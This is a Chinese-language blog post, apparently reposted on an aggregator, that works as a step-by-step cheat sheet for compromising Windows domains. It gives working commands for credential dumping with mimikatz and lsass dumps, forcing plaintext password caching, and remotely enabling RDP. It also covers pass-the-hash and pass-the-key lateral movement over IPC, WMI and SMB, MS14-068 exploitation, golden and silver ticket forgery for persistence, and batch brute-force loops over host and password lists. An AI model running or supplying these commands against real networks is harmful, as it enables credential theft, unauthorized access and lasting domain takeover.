内网渗透-域渗透简单思路
文章目錄
- 1.權限提升
- 2.滲透姿勢
- 爆hash,爆aes key
- 爆hash
- 爆aes key
- 3.遠程登錄
- 注冊表修改
- 連接命令
- 4.連接操作
- PTH攻擊(利用明文或hash連接)
- IPC(明文連接主機)
- WMI(利用明文連接)
- SMB(利用明文或hash連接)
- RDP(利用明文或hash連接)
- WMI工具(利用明文或hash連接)
- PTK攻擊(aes key 進行連接)
- PTT攻擊(權限維持)
- Golden ticket(黃金票據)
- silver ticket(白銀票據)
- 5.bat批量連接測試
1.權限提升
- 一開始一定要提到administrator或以上,才好繼續內網滲透。
2.滲透姿勢
爆hash,爆aes key
爆hash
域用戶主機上傳mimikatz
- mimikatz.exe上執行: privilege::debug sekurlsa::logonpasswords 則可報出hash
- 當目標為win10或2012R2以上時,默認在內存緩存中禁止保存明文密碼,但可以通過修改注冊表的方式抓取明文。
- reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f
procdump
- procdump -accepteula -ma lsass.exe lsass.dmp mimikatz.exe上執行:
- sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords
爆aes key
3.遠程登錄
注冊表修改
開啟的3389方法:
1.通用開3389(優化后):
- wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call
SetAllowTSConnections 1
2.For Win2003:
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" “Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.For Win2008:
- REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” "Server /v
fDenyTSConnections /t REG_DWORD /d 00000000 /f
4.For Every:
cmd開3389 win08 win03 win7 win2012 winxp
win08,三條命令即可:
-
wmic /namespace:\root\cimv2 erminalservices path
win32_terminalservicesetting where (__CLASS != “”) call
setallowtsconnections 1 -
wmic /namespace:\root\cimv2 erminalservices path
win32_tsgeneralsetting where (TerminalName =‘RDP-Tcp’) call
setuserauthenticationrequired 1 -
reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v
fSingleSessionPerUser /t REG_DWORD /d 0 /f
win2012通用;win7前兩條即可。權限需要run as administrator。
連接命令
- windows: mstsc
- linux: rdesktop 192.168.3.21:3389
4.連接操作
PTH攻擊(利用明文或hash連接)
IPC(明文連接主機)
在拿下一臺內網主機后,通過本地信息搜集收集用戶憑證等信息后,如何橫向滲透拿下更多的主機?這里僅介紹at&schtasks命令及相關工具的使用,在已知目標系統的用戶明文密碼或者hash的基礎上,直接可以在遠程主機上執行命令。
獲取到某域主機權限->minikatz得到密碼(明文,hash)->用到信息收集里面域用戶的列表當做用戶名字典->用到密碼明文,hash當做密碼字典-》嘗試連接->創建計劃任務(at|schtasks)->執行文件可為后門或者相關命令
一、利用流程
net use \server\ipc$“password” /user:username # 工作組
net use \server\ipc$“password” /user:domain\username #域內
dir \xx.xx.xx.xx\C$\ # 查看文件列表
copy \xx.xx.xx.xx\C$\1.bat 1.bat # 下載文件
copy 1.bat \xx.xx.xx.xx\C$\1.bat # 復制文件
net use \xx.xx.xx.xx\C$\1.bat /del # 刪除IPC
net view xx.xx.xx.xx # 查看對方共享
建立IPC常見的錯誤代碼
(1)5:拒絕訪問,可能是使用的用戶不是管理員權限,需要先提升權限
(2)51:網絡問題,Windows 無法找到網絡路徑
(3)53:找不到網絡路徑,可能是IP地址錯誤、目標未開機、目標Lanmanserver服務未啟動、有防火墻等問題
(4)67:找不到網絡名,本地Lanmanworkstation服務未啟動,目標刪除ipc$
(5)1219:提供的憑據和已存在的憑據集沖突,說明已建立IPC$,需要先刪除
(6)1326:賬號密碼錯誤
(7)1792:目標NetLogon服務未啟動,連接域控常常會出現此情況
(8)2242:用戶密碼過期,目標有賬號策略,強制定期更改密碼
建立IPC失敗的原因
(1)目標系統不是NT或以上的操作系統
(2)對方沒有打開IPC$共享
(3)對方未開啟139、445端口,或者被防火墻屏蔽
(4)輸出命令、賬號密碼有錯誤
二、[at] & [schtasks]
#at 小于等于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc連接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷貝執行腳本到目標機器
net time \192.168.1.5 # 查看目標時間,可能本地時間與目標時間不符
at \192.168.1.5 21:52 c:\Inetpub\add.bat # 添加計劃任務
at \192.168.1.5 # 查看任務列表
#schtasks 大于windows2008
net use \192.168.1.5 Password /user:admin # 建立ipc連接:
copy add.bat \192.168.1.5\C$\Inetpub # 拷貝執行腳本到目標機器
net time \192.168.1.5 # 查看目標時間,可能本地時間與目標時間不符
schtasks /create /s 192.168.1.5 /ru “SYSTEM” /tn adduser /sc DAILY /tr c:\Inetpub\add.bat /F #創建adduser計劃任務
schtasks /run /s 192.168.1.5 /tn adduser /i #運行adduser計劃任務
schtasks /delete /s 192.168.1.5 /tn adduser /f # 刪除計劃任務
WMI(利用明文連接)
自帶WMIC 明文傳遞 無回顯
- wmic /node:192.168.3.21 /user:administrator /password:Admin12345
process call create “cmd.exe /c ipconfig >C:\1.txt”
SMB(利用明文或hash連接)
- smbexec ./admin:password@192.168.3.21
- smbexec domain/admin:password@192.168.3.21
- smbexec -hashes :HASH ./admin@192.168.3.21
- smbbexec -hashes :HASH domain/admin@192.168.3.21
- smbexec -hashes :ccef208c6485269c20db2cad21734fe7
./administrator@192.168.3.21
RDP(利用明文或hash連接)
- 除了上述講到的IPC,WMI,SMB等協議的鏈接外,獲取到的明文密碼或HASH密文也可以通過RDP協議進行鏈接操作。
RDP明文密碼鏈接
- windows: mstsc
- linux: rdesktop 192.168.3.21:3389
RDP密文HASH鏈接
- windows Server需要開啟 Restricted Admin mode,在Windows 8.1和Windows Server
2012 R2中默認開啟,同時如果Win 7 和Windows Server 2008
R2安裝了2871997、2973351補丁也支持;開啟命令: - REG ADD “HKLM\System\CurrentControlSet\Control\Lsa” /v
DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
開啟后運行:
- mstsc.exe /restrictedadmin
- mimikatz.exe
- privilege::debug
- sekurlsa::pth /user:administrator /domain:remoteserver
/ntlm:d25ecd13fddbb542d2e16da4f9e0333d “/run:mstsc.exe
/restrictedadmin”
WMI工具(利用明文或hash連接)
- wmiexec ./administrator:Admin12345@192.168.3.21 “whoami”
- wmiexec -hashes :HASH ./admin@192.168.3.21 “whoami”
- wmiexec -hashes :ccef208c6485269c20db2cad21734fe7
./administrator@192.168.3.21 “whoami”
PTK攻擊(aes key 進行連接)
PTK(pass the key) #利用的aeskey進行的滲透測試
#獲取用戶aes key
mimikatz “privilege::debug” “sekurlsa::ekeys”
#注入aes key
mimikatz “privilege::debug” “sekurlsa::pth /user:mary /domain:god.org /aes256:c4388a1fb9bd65a88343a32c09e53ba6c1ead4de8a17a442e819e98c522fc288”
#目標系統:安裝kb2871997補丁
PTT攻擊(權限維持)
Kerberos協議在域中,簡要介紹一下:
- 客戶機將明文密碼進行NTLM哈希,然后和時間戳一起加密(使用krbtgt密碼hash作為密鑰),發送給kdc(域控),kdc對用戶進行檢測,成功之后創建TGT(Ticket-Granting
Ticket) - 將TGT進行加密簽名返回給客戶機器,只有域用戶krbtgt才能讀取kerberos中TGT數據
- 然后客戶機將TGT發送給域控制器KDC請求TGS(票證授權服務)票證,并且對TGT進行檢測
- 檢測成功之后,將目標服務賬戶的NTLM以及TGT進行加密,將加密后的結果返回給客戶機。
- ptt攻擊的部分就不是簡單的NTLM認證了,它是利用Kerberos協議進行攻擊的,這里就介紹三種常見的攻擊方法:
MS14-068,Golden ticket(黃金票據),SILVER ticket(白銀票據)
#MS14-068
-
#查看當前sid whoami/user
-
mimikatz # kerberos::purge
-
//清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造
-
mimikatz # kerberos::list
-
//查看當前機器憑證
-
mimikatz # kerberos::ptc
-
票據文件 //將票據注入到內存中
#利用ms14-068生成TGT數據
- ms14-068.exe -u 域成員名@域名 -s sid -d 域控制器地址 -p 域成員密碼
- MS14-068.exe -u mary@god.org -s
S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p
admin!@#45
#票據注入
- mimikatz.exe “kerberos::ptc TGT_mary@god.org.ccache” exit
#查看憑證列表 klist
#利用net use載入
-
net use \192.168.3.21\c$
-
dir \192.168.3.21\c$
#利用kekeo生成TGT數據
#生成票據
- kekeo “tgt::ask /user:mary /domain:god.org
/ntlm:518b98ad4178a53695dc997aa02d455c”
#導入票據
- kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
#查看憑證 klist
#利用net use載入
-
net use \192.168.3.21\c$
-
dir \192.168.3.21\c$
權限維持-Golden ticket
Golden ticket(黃金票據)
- Golden
ticket的作用是可以生成任意用戶的tgt,那么問題就來了,是什么條件能夠讓他生成任意用戶的tgt呢?還得要看kerberos認證的過程,在windows認證過程中,客戶端將自己的信息發送給KDC,然后KDC使用krbtgt用戶密碼的hash作為密鑰進行加密,生成TGT。那么如果獲取到了krbtgt的密碼hash值,是不是就可以偽造任意tgt了。因為krbtgt只有域控制器上面才有,所以使用黃金憑據意味著你之前拿到過域控制器的權限,黃金憑據可以理解為一個后門。
#偽造黃金憑據需要具備下面條件:
- krbtgt用戶的hash(有域控制器權限)
- 域名稱
- 域的SID值
- 要偽造的用戶名
#域控DC導出hash krbtgt
-
privilege::debug
-
lsadump::lsa /patch
-
b097d7ed97495408e1537f706c357fc5
#生成tgt憑證
- mimikatz # kerberos::golden /user:administrator /domain::god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778-1124
/krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket
#注入憑證
- mimikatz # kerberos::ptt ticket.kirbi
#查看憑證 klist
##利用net use載入
-
net use \192.168.3.21\c$
-
dir \192.168.3.21\c$
權限維持-silver ticket
silver ticket(白銀票據)
- silver ticket和golden
ticket不同的是,它不需要和域控制器進行通信,原理是偽造TGS,使用的是計算機賬戶的hash進行加密的,所以只能訪問指定的權限。不像是Golden
ticket,是由krgtgt用戶的密碼hash進行加密,偽造tgt可以獲取到所有權限。白銀票據這里只是對單一的服務進行授權,利用過程和golden
ticket差不多,首先上域控制器中,把機器的ntlm hash(rc4加密)
dump下來,然后在普通域用戶機器進行偽造權限,進行ptt.
#域控導出hash
- privilege::debug
- sekurlsa::logonpasswords
#攻擊3.21下的cifs(文件共享服務)
- kerberos::golden /domain:god.org
/sid:S-1-5-21-1218902331-2157346161-1782232778 /target:192.168.3.21
/rc4:8432d4fa4430ecf56927dbabd1b4d36b /service:cifs /user:mary /ptt
PTT(pass the ticket) #利用的票據憑證TGT進行的滲透測試
5.bat批量連接測試
#利用hash驗證主機列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe -hashes :HASH ./administrator@%%i whoami
#指定主機進行用戶hash列表(hashes.txt)爆破
FOR /F %%i in (hashes.txt) do atexec.exe -hashes %%i ./administrator@192.168.3.76 whoami
#指定主機進行明文密碼列表(passwords.txt)爆破
FOR /F %%i in (passwords.txt) do atexec.exe ./administrator:%%i@192.168.3.76 whoami
#利用明文密碼驗證主機列表ips.txt
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:password123@%%i whoami
總結
以上是生活随笔為你收集整理的内网渗透-域渗透简单思路的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: msfvenom生成木马和内网穿透
- 下一篇: 红队测试之邮箱打点